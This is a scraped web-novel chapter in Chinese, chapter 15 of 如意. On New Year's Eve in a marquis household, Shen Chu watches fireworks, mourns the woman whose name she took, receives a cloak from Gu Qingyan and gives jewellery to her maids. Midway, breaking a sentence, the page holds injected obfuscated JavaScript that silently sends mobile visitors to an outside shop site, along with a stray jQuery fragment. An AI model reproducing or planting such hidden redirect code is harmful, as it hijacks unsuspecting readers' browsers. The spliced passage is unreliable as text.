文趣网 > 其他小说 > 如意 > 15. 第十五章
    岁末最后一缕天光,被暮色渐渐吞没,云霞染成绚丽的橘红色,余晖融入深邃的靛蓝之中。

    天边挂上清月,墨黑的夜色降临,侯府各院张灯结彩,暖黄的灯火映着树影婆娑,在冷风中摇曳。

    静谧月夜,骤然被阵阵爆竹声打破。

    正厅。顾家齐聚一堂,欢声笑语与杯盏的碰撞声交织,热闹非凡。

    正厅中央摆着一大一小两张圆桌。桌上摆着丰盛的膳食,另有五辛盘,和药材所制的屠苏酒。

    沈初挨着顾灵筠坐在小桌旁,闻着饭菜香味,沈初忽觉小腹在出声抗议。

    待老夫人端起酒盏,入口饮下,伴着一声“开宴——”,岁宴才算开幕。

    岁宴行进一半,沈初满倒一杯屠苏酒,举起酒盏遥敬老夫人。依着“幼者先饮,长者后饮”的序齿,众人顺次饮下。

    用饭,饮酒,谈天,行酒令。

    酒过三巡,老夫人年岁大了遭不住,率先离席,在偏厅暖阁小憩,余下皆行飞花令待子时守岁。

    一干人等虽各怀心事,面上倒是一派其乐融融,沈初不通诗词便不曾上前,在一旁静静坐着,忽觉一阵落寞。

    “砰砰砰——”

    子正时分,接连几道刺耳的声响,漆黑夜幕升起朵朵烟花,在空中绽开金灿灿的焰火,火红、淡紫、冰蓝、翠绿随之绽放,层层叠叠往周遭铺开,照得上京亮如白昼。

    转瞬即逝的漫天绚烂中,平宁四年已尽。

    沈初先前在定州从未见过如此美不胜收的烟花,不禁看得入迷,脚步不自觉地往厅外走。

    站在院子里头观赏,与方才坐在屋子看亦是相差甚远。

    沈初抬眼朝上望去,四方红墙飞檐挡不住天地辽阔,徐徐绽放的焰火扩大铺满天空,似是近在眼前,触手可及。

    沈初不禁想起那个女娘,她顶替了姓氏的沈娘子。

    沈初与她相识不过三五日,尚未知晓她的名字,便已天人永隔。

    初见那日,她穿着一袭水绿长裙,腰间挂着精致的药囊,发间萦绕淡淡药香,站在桂花树下,盯着沈初面露微笑。

    那日,秋风和煦。

    她应声倒地的瞬间,素白的面容上溅满血滴,呼吸若有若无,嘴唇费力地翕张:“好……好活着,替……替我活下去。”

    话音落地,她整个人绵软地瘫在泥地里,长裙沾染污泥,风吹起几缕鬓发贴在脸颊,双目紧闭,掌心死死攥着印信。

    直到闭眼前一刻,她双眸仍旧流露着对这人世的眷恋;临死之言,亦是劝沈初活下去。

    若是她还活着,今日站在这里欣赏烟花,同享富贵繁华的,理应是她。

    凛冽寒风收拢回思绪,沈初甫一伸手,衣袖滑落露出半截皓腕,焰火穿透指缝空隙,轻飘飘四下坠落。

    锦絮见起了夜风,与沈初交代两句,让她进厅里围着火炉暖和一会,急匆匆赶回如意斋取披风。

    正厅廊下,不知何时顾清晏站在烛火里,顾怀安含糊不清的话音贸然传来,惊地沈初收回手。

    “大哥哥,你怎么站在外头,”顾怀安今夜饮了不少酒,眼下浑身散发酒气,拿着酒壶还要再饮,“来,我们共饮此杯。”

    顾清晏饮酒甚少,意识倒是十分清醒,伸手扶好站不稳的顾怀安。一阵冷风呼啸过,顾怀安身上酒气扑面而来,微风余韵醉人。

    顾怀安醉了酒不安分,歪七扭八拽着顾清晏的手臂晃动。

    顾清晏腰间的银香囊左右摇晃,引起顾怀安的注意,他眼神朦胧,视线模糊,眯着眼醉醺醺地笑:“大哥哥,你这个香囊真精巧,能不能赠予我。”

    “二郎,不可,”顾清晏惊呼出声,伸手挡住香囊,随后意识到自己有些过于激动,松开手说,“此物是他人相赠,你若喜欢,兄长着人另买一个送你。”

    沈初闻言转身,朝两人看去,目光落在香囊上。

    缠枝纹镂空银香囊,不是顾清晏先前时常佩戴的。

    是他遣人送赔礼去如意斋时,沈初托侍女带回的。

    送给顾清晏的生辰礼。

    顾怀安闻言双眼一亮,嘴角勾起一抹玩味的弧度,似笑非笑地盯着顾清晏:“哦~是大哥哥的心上人送的吗?这么宝贝,还捂着不让人看。”

    顾怀安话音不大,沈初却听得一清二楚,正要提起裙摆走上台阶说明,察觉到顾清晏抬手示意她止步。

    “休要胡言,”顾清晏面色不自然地移开视线,一本正经地解释,“不是心上人。”

    至少眼下还不是。

    顾清晏说罢,脸颊飞上一抹红晕,忽觉耳根一热,伸手摸去,温热的触感从指尖传遍全身。

    顾清晏的异样没逃过顾怀安的慧眼,顾怀安笑嘻嘻地戳了戳他的脸:“不是就不是嘛,大哥哥怎么脸还红了。”

    顾清晏忙拉下他的手,面上强撑着装作平静,一开口却语焉不详躲开话题:“风吹的。”

    “好了,怀安你醉了,快回去休息。”

    顾清晏贴心地吩咐顾怀安的侍从:“回去给你们郎君煮碗醒酒汤,盯着他饮完再休息。”

    “是,世子。”

    或许是冬日夜间的风过于刺骨,沈初白皙的脸颊被吹得通红,连鼻尖和眼尾也漾开淡淡绯色。

    顾清晏见状,想起她在席间也饮了酒,慢步走下台阶,在沈初跟前站定:“沈表妹,也吃醉酒了?脸红得同夏瓜瓤一样。”

    “当然没有。”

    经了顾云姝巴掌一事,许是顾清晏心怀愧疚,言语是没有从前那般拐弯抹角挖苦人,沈初也能心平气和地与他说几句。

    沈初有样学样:“风吹的。”

    顾清晏闻之一时语塞,忽见沈初一袭单薄的茜红襦裙,并未披外袍,不禁眉头一皱:“怎么不穿披风,你的侍女呢?”

    又一阵寒冷过境,淡淡酒气随风萦绕着两人盘桓,沈初只觉脸颊发热,身子微冷:“出门的时候着急忘了,她已经回去取了。”

    顾清晏二话不说脱下狐裘披风,拢好递给沈初:“进屋吧。”

    毛茸茸的狐裘沾染了沉香气味,只抱在怀里都有暖意传来,沈初

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941155|213385||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    亦步亦趋跟在顾清晏身后踏进正厅。

    锦絮心怕正厅散场,沈初独自一人等得着急,不出一刻钟便赶回来,忙把暖炉塞她冰块似的手里。

    老夫人小梦初醒,睡眼惺忪来正厅说了几句来年共欢同乐、万事称心的吉祥话,便叫众人各自回院,由刘嬷嬷等人拥簇着回了寿康堂。

    沈初缓缓起身,慢手慢脚跟在人群后面,眼瞧着人都走得远了,方将顾清晏的披风还给他,道谢后微微曲身告辞。

    常秋接过给顾清晏披上,捂得温热的香粉味霸道地钻进他鼻子里,红色衣裙在拐角处消失,她娇小却坚韧的身影在他脑海里不合时宜地冒出来。

    顾清晏被冷风吹得清醒几分,心间思绪散了个干净,莫名生出一股酸涩之感,停顿片刻才迈开沉重的步伐。

    先一步走远的主仆二人行经廊下,锦絮回头瞧,直到看不见世子,才低声同沈初耳语:“世子的披风怎么在娘子这。”

    沈初未做他想,略一沉吟后开口:“那会儿在外头又起了风,他见我衣裳单薄,便让我披着。”

    锦絮说:“世子还是关心娘子这个妹妹的,往后一家人和睦共处的,才是佳话。”

    和睦共处吗?

    可惜她不姓沈,不是顾靖远至交的女儿。

    同他,同侯府更是论不上一家人。

    沈初看锦絮一眼,喉咙发紧,话往肚子里咽了又咽。

    回到如意斋,秀兰等人提早便把熏笼里的炭火点上,这会儿烧得正旺,沈初褪下披风,围过去搓着手取暖。

    锦絮拿着披风抖落两下,铺开搭在檀木衣架上,一回头见窗牗紧闭,吩咐道:“白露,把窗子支开透透风。”

    时辰已然不早,沈初身上暖和许多,踏进寝居,褪下衣裙,坐在妆台前等待秀兰卸下钗环,春桃打了热水进屋,伺候沈初盥洗。

    待一切收拾妥当,沈初叫住四人。打开妆奁取出先前顾家几位姊姊送来的几匣子首饰,挑挑拣拣选了几件不太扎眼的小巧首饰。

    锦絮从前是老夫人院里的人,伺候沈初的时候长,又操持如意斋一干事务,一支品质尚可的鎏金簪子也算不得僭越。

    秀兰、春桃、白露是在屋里贴身伺候的,佩戴白玉镯、珍珠耳坠、玛瑙手串亦是合适。

    沈初看着四人,一脸认真地细声道:“今日是除夕,我刚来侯府,也没有什么更好的东西送给你们,希望你们不要嫌弃。”

    锦絮是从沈初进府一路看过来的,当即眼中沁上泪:“娘子说的是什么胡话。”

    秀兰得了镯子心里头欢喜,附和锦絮:“是啊,娘子休要说这种话,我们高兴还来不及呢。”

    春桃跟着胡乱点头,嘴角噙笑:“我们往后一定尽心侍奉娘子。娘子叫我们往东,我们绝不敢往西。”

    白露眼睛笑得眯起来,咧开嘴露出两排整齐的牙齿:“娘子,我都没见过这种好东西呢。”

    白露年岁最小,心性如孩童般单纯。几人听着这般天真之语,一时间开怀大笑。白露不知道姊姊们笑什么,也只管跟着笑。